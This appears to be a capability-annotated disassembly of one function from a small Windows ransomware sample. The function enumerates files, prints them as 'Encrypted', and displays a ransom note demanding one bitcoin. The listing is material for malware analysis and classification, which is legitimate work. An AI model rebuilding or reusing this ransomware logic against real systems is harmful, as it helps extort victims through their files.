Function at 0x140001074
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xde8
lea rdi, str.._Encrypted:
lea rcx, [rsp + 0x80]
mov esi, 2
mov r8d, 2
mov rdx, rdi
call fcn.14000d5f8
mov qword [rsp + 0x20], 1
lea r9, str._fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
lea rbx, [rsp + 0x2f8]
mov r8d, 2
mov rcx, rbx
mov rdx, rdi
call fcn.14000d7d3
mov r14, qword [rbx + 8]
mov r15, qword [rbx + 0x10]
mov rbx, r15
inc rbx
jne 0x1400010e6
xor ebx, ebx
jmp 0x140001110
mov rax, rbx
shr rax, 0x3e
jne 0x140001b50
lea rdi, [rbx + rbx]
mov ecx, 2
mov rdx, rdi
call fcn.140008b0a
mov rsi, rax
test rax, rax
je 0x140001b59
lea rdi, [rsp + 0xb0]
mov qword [rdi], rbx
mov qword [rdi + 8], rsi
and qword [rdi + 0x10], 0
add r15, r14
lea rbx, [rsp + 0x7a0]
mov qword [rbx], r14
mov qword [rbx + 8], r15
and word [rbx + 0x10], 0
xor r14d, r14d
lea r15, [rsp + 0xba0]
mov r12, 0xffffffffffffffff
xor r13d, r13d
test r13w, r13w
jne 0x140001190
and dword [rsp + 0xba0], 0
mov rcx, rbx
call fcn.140008b64
test eax, eax
je 0x140001207
mov ecx, edx
mov rdx, r15
call fcn.140008b24
cmp rdx, 2
jne 0x14000119d
movzx ebp, word [rsp + 0xba2]
mov word [rsp + 0x7b0], bp
jmp 0x1400011a5
and word [rsp + 0x7b0], 0
xor ebp, ebp
jmp 0x1400011ae
movzx ebp, word [rsp + 0x7b0]
movzx r13d, word [rsp + 0xba0]
cmp r14, qword [rsp + 0xb0]
jne 0x1400011ef
mov rdx, qword [rsp + 0x7a8]
sub rdx, qword [rsp + 0x7a0]
add rdx, 3
cmovb rdx, r12
shr rdx, 2
cmp bp, 1
sbb rdx, 0xffffffffffffffff
inc rdx
mov rcx, rdi
call fcn.140008a30
mov rsi, qword [rsp + 0xb8]
mov word [rsi + r14*2], r13w
inc r14
mov qword [rsp + 0xc0], r14
mov r13d, ebp
jmp 0x140001150
mov rsi, qword [rsp + 0xb8]
mov rcx, rsi
mov rdx, r14
call fcn.14000bfc1
test rax, rax
jne 0x140001aa6
movabs rdi, 0x8000000000000000
lea rsi, [rsp + 0xb0]
mov rcx, rsi
xor edx, edx
call fcn.14000c093
mov r12, qword [rsi]
mov r15, qword [rsi + 8]
cmp r12, rdi
je 0x140001abd
mov rdi, qword [rsp + 0xc0]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], rdi
lea r8, [0x140014b70]
mov rcx, r15
mov rdx, rdi
call fcn.14000b010
test al, al
jne 0x140001624
lea r8, str.___
mov rcx, r15
mov rdx, rdi
call fcn.14000b010
test al, al
jne 0x140001624
lea r8, [0x14001483c]
mov r9d, 1
mov rcx, r15
mov rdx, rdi
call fcn.14000b037
test al, al
jne 0x140001624
cmp rdi, 0xf7
ja 0x140001351
cmp rdi, 3
jne 0x1400012f2
cmp word [r15 + 2], 0x3a
jne 0x140001328
movzx eax, word [r15 + 4]
test ax, ax
jne 0x140001305
movzx eax, word [r15]
cmp eax, 0x2f
je 0x140001328
cmp eax, 0x5c
je 0x140001328
jmp 0x140001624
cmp rdi, 2
jbe 0x140001326
cmp word [r15 + 2], 0x3a
jne 0x140001328
movzx eax, word [r15 + 4]
cmp ax, 0x2f
je 0x140001313
movzx eax, ax
cmp eax, 0x5c
jne 0x140001328
movzx eax, word [r15]
cmp eax, 0x2f
je 0x14000132c
cmp eax, 0x5c
je 0x14000132c
jmp 0x140001624
jne 0x140001351
movzx eax, word [r15]
cmp ax, 0x5c
je 0x14000133a
movzx eax, ax
cmp eax, 0x2f
jne 0x140001351
movzx eax, word [r15 + 2]
cmp eax, 0x2f
je 0x140001624
cmp eax, 0x5c
je 0x140001624
mov qword [rsp + 0x78], r12
mov qword [rsp + 0x30], r15
lea rax, [rsp + 0x58]
and qword [rax], 0
mov qword [rax + 8], 2
and qword [rax + 0x10], 0
mov r13d, 0x200
mov eax, 2
mov qword [rsp + 0x50], rax
xor r14d, r14d
mov ebp, 0xffffffff
xor edi, edi
cmp r13, 0x201
jae 0x1400013a7
lea rsi, [rsp + 0x7a0]
mov r15d, 0x200
mov r12, r13
jmp 0x1400013dd
sub r13, rdi
lea rcx, [rsp + 0x58]
mov rdx, r13
call fcn.140009cab
mov r14, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
cmp r14, rbp
mov edi, 0xffffffff
cmovb rdi, r14
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x50], rsi
mov r15, rdi
mov r12, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rsp + 0x30]
mov edx, r12d
mov rbx, rsi
mov r8, rsi
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov esi, eax
test eax, eax
jne 0x140001410
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140001a6c
mov r13d, esi
cmp r12, r13
jne 0x140001443
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140001a54
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
mov ebp, 0xffffffff
cmovae r12, rax
mov r13, r12
jmp 0x14000138b
jb 0x14000138b
cmp r15, r13
jb 0x140001bce
and qword [rsp + 0x48], 0
cmp esi, 2
mov r15, qword [rsp + 0x78]
movabs r14, 0x8000000000000000
jbe 0x140001490
mov rax, rbx
movzx edx, word [rbx + 2]
cmp edx, 0x3a
jne 0x14000149a
mov edi, 4
cmp word [rax + 4], 0x5c
jne 0x14000149a
lea rbp, [0x140014b70]
jmp 0x140001541
jne 0x1400014e2
mov rax, rbx
movzx ecx, word [rbx]
jmp 0x1400014a5
movzx ecx, word [rax]
cmp esi, 3
jne 0x1400014ee
mov rax, rbx
cmp cx, 0x5c
mov rbx, r14
jne 0x1400014d9
movzx edx, word [rax + 2]
cmp dx, 0x5c
jne 0x1400014d9
mov ecx, 2
mov rdx, rax
mov r8, r13
call fcn.14000aecc
mov r13, rdx
lea rbp, [0x140014b78]
mov edi, 8
jmp 0x140001544
mov ebp, 2
xor edi, edi
jmp 0x140001544
mov ebp, 2
xor edi, edi
mov rax, rbx
jmp 0x140001541
mov ebp, 2
cmp cx, 0x5c
mov rax, rbx
jne 0x14000153f
cmp edx, 0x3f
mov rbx, r14
je 0x1400014de
cmp edx, 0x5c
jne 0x1400014b2
movzx ecx, word [rax + 4]
cmp ecx, 0x3f
je 0x140001a44
cmp ecx, 0x2e
jne 0x1400014b8
cmp word [rax + 6], 0x5c
jne 0x1400014b8
mov edi, 4
mov ecx, 4
mov rdx, rax
mov r8, r13
call fcn.14000aecc
mov r13, rdx
jmp 0x140001484
xor edi, edi
mov rbx, r14
mov r12, rax
lea r14, [rdi + r13]
inc r14
cmp r15, r14
jae 0x1400015d1
xor edx, edx
mov rax, r14
shr rax, 0x3e
sete dl
lea r8, [r14 + r14]
add edx, edx
test r15, r15
je 0x140001589
add r15, r15
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xc0], r15
mov eax, 2
jmp 0x14000158b
xor eax, eax
lea r9, [rsp + 0xb0]
mov qword [r9 + 8], rax
lea rsi, [rsp + 0xba0]
mov rcx, rsi
call fcn.140002118
mov rcx, qword [rsi + 8]
cmp qword [rsi], 0
je 0x1400015c7
lea rax, [rbx + 1]
cmp rcx, rax
je 0x1400015d1
mov rdx, qword [rsp + 0xbb0]
call fcn.140011216
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], r14
lea r8, [rdi*2]
add r8, rbp
lea rsi, [rsp + 0x38]
mov rcx, rsi
mov rdx, rbp
call fcn.1400090f5
mov rdx, r12
lea r8, [r12 + r13*2]
mov rcx, rsi
call fcn.1400090f5
mov rcx, rsi
xor edx, edx
call fcn.14000c093
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
call fcn.140009d87
mov r12, qword [rsi]
mov r15, qword [rsi + 8]
cmp r12, rbx
je 0x140001abd
lea rsi, [rsp + 0x7a0]
mov r8d, 0x250
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r15
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x1400016a5
mov r14, rax
lea rcx, [rsp + 0x80]
call fcn.140010642
mov rbx, rax
lea rcx, [rsp + 0x548]
lea rdx, [rsp + 0x7a0]
mov r8d, 0x250
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
mov rdx, r15
call fcn.140009d87
mov rcx, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x300]
call fcn.140002249
mov ebp, 1
xor esi, esi
jmp 0x1400016f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140001b87
lea rcx, [rsp + 0x80]
call fcn.140010642
mov rbx, rax
mov rcx, r12
mov rdx, r15
call fcn.140009d87
mov rcx, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x300]
call fcn.140002249
mov r14, 0xffffffffffffffff
xor ebp, ebp
mov sil, 1
lea r15, [rsp + 0x7b4]
lea rdi, [rsp + 0x548]
mov r8d, 0x254
mov rcx, r15
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [r15 - 0x14], rbx
mov qword [r15 - 0xc], r14
mov dword [r15 - 4], ebp
lea r12, [rsp + 0x2f8]
mov r13, qword [sym.imp.KERNEL32.dll_FindNextFileW]
cmp r14, 0xffffffffffffffff
je 0x14000199a
and dword [rsp + 0x7b0], 0
test sil, 1
jne 0x1400017a0
mov rcx, rdi
mov rdx, rbx
lea r8, [rsp + 0x7b4]
call fcn.14000d76a
mov rsi, qword [rsp + 0x548]
test rsi, rsi
je 0x140001798
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x30], rax
mov r8d, 0x248
lea rbp, [rsp + 0xb0]
mov rcx, rbp
lea rdx, [rsp + 0x558]
call sub.VCRUNTIME140.dll_memcpy
test rsi, rsi
sete r15b
jmp 0x140001814
mov rcx, rdi
call fcn.14000d7bf
mov r8d, 0x250
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r14
mov rdx, r12
call r13
test eax, eax
je 0x14000198b
mov rcx, rdi
mov rdx, rbx
mov r8, r12
call fcn.14000d76a
mov rsi, qword [rsp + 0x548]
test rsi, rsi
jne 0x1400017e6
mov rcx, rdi
call fcn.14000d7bf
jmp 0x1400017b0
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x30], rax
mov r8d, 0x248
lea rbp, [rsp + 0xb0]
mov rcx, rbp
lea rdx, [rsp + 0x558]
call sub.VCRUNTIME140.dll_memcpy
xor r15d, r15d
mov r8d, 0x248
mov rcx, rdi
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x248
lea rbp, [rsp + 0xba0]
mov rcx, rbp
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
test r15b, r15b
jne 0x140001b1c
mov qword [rsp + 0x548], rsi
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x550], rax
mov r8d, 0x248
lea rcx, [rsp + 0x558]
mov rdx, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rbp, qword [rsi + 0x18]
mov r15, qword [rsi + 0x20]
mov esi, 0x104
mov edx, 0x104
lea rcx, [rsp + 0x57c]
call fcn.14000bfc1
test rax, rax
lea rcx, [rsp + 0xb0]
je 0x1400018ae
mov rsi, rdx
cmp rdx, 0x105
jae 0x140001a92
lea rdx, [rsp + 0x57c]
mov r8, rsi
call fcn.1400093ca
mov rsi, qword [rsp + 0xb8]
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x58]
mov rdx, rbp
mov r8, r15
mov r9, rsi
call fcn.14000d7d3
mov rcx, qword [rsp + 0xb0]
mov rdx, rsi
call fcn.140002249
mov rsi, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0xa0], rax
lea rax, [0x1400124c0]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 2
and qword [rsp + 0x318], 0
lea rax, [0x14000e158]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x308], rax
mov qword [rsp + 0x310], 1
mov rcx, r12
call fcn.14000def9
mov rcx, qword [rsp + 0x58]
mov rdx, rsi
call fcn.140002249
mov rcx, rdi
call fcn.140001065
mov sil, 1
jmp 0x14000172c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x140001af4
lea rsi, [rsp + 0x7a0]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rsi
call fcn.140001065
lea rax, str.Hello___Ransomware__we_encrypted_all_your_files_n
mov qword [rsi], rax
vmovaps xmm0, xmmword [0x140012360]
vmovups ymmword [rsi + 8], ymm0
lea rsi, [rsp + 0x7a0]
mov rcx, rsi
vzeroupper
call fcn.14000def9
lea rax, str.We_demand_payment_of_1_bitcoins_to_specified_address_n
mov qword [rsi], rax
vmovaps xmm0, xmmword [0x140012360]
vmovups ymmword [rsi + 8], ymm0
lea rsi, [rsp + 0x7a0]
mov rcx, rsi
vzeroupper
call fcn.14000def9
lea rax, str.To_unencrypt_your_files_n
mov qword [rsi], rax
vmovaps xmm0, xmmword [0x140012360]
vmovups ymmword [rsi + 8], ymm0
lea rcx, [rsp + 0x7a0]
vzeroupper
call fcn.14000def9
nop
add rsp, 0xde8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp word [rax + 6], 0x5c
jne 0x1400014b8
jmp 0x1400014de
lea rcx, str.internal_error:_entered_unreachable_codeassertion_failed:_self.is_char_boundary_new_len_Utf8Errorvalid_up_toerror_lenNoneSomeTryFromIntError
lea r8, [0x140013620]
mov edx, 0x28
call fcn.1400112d6
call fcn.140009d70
mov r15, rax
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.140009d87
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.140009d87
jmp 0x140001abd
lea r8, [0x140013620]
mov edx, 0x104
mov rcx, rsi
call fcn.1400112cc
mov rcx, qword [rsp + 0xb0]
mov rdx, rsi
call fcn.140009d87
lea r15, str.strings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x300]
call fcn.140002249
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.140002249
lea r8, [rsp + 0x7a0]
mov qword [r8], r15
jmp 0x140001b2c
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0xba0]
lea rdx, [rsp + 0x548]
mov r8d, 0x248
call sub.VCRUNTIME140.dll_memcpy
lea r8, [rsp + 0xb0]
mov rax, qword [rsp + 0x30]
mov qword [r8], rax
lea rax, [0x140013620]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1400123e0]
mov edx, 0x2b
call fcn.14001147a
xor edi, edi
mov eax, 8
jmp 0x140001b6a
mov qword [rsp + 0x7a8], 2
mov eax, 0x10
mov qword [rsp + rax + 0x7a0], rdi
mov rcx, qword [rsp + 0x7a8]
mov rdx, qword [rsp + 0x7b0]
call fcn.140011216
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, r12
mov rdx, r15
call fcn.140009d87
mov rcx, qword [rsp + 0x2f8]
mov rdx, qword [rsp + 0x300]
call fcn.140002249
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.140002249
mov r15, rsi
jmp 0x140001ae7
lea r8, [0x140013620]
mov rcx, r13
mov rdx, r15
call fcn.1400112cc
int3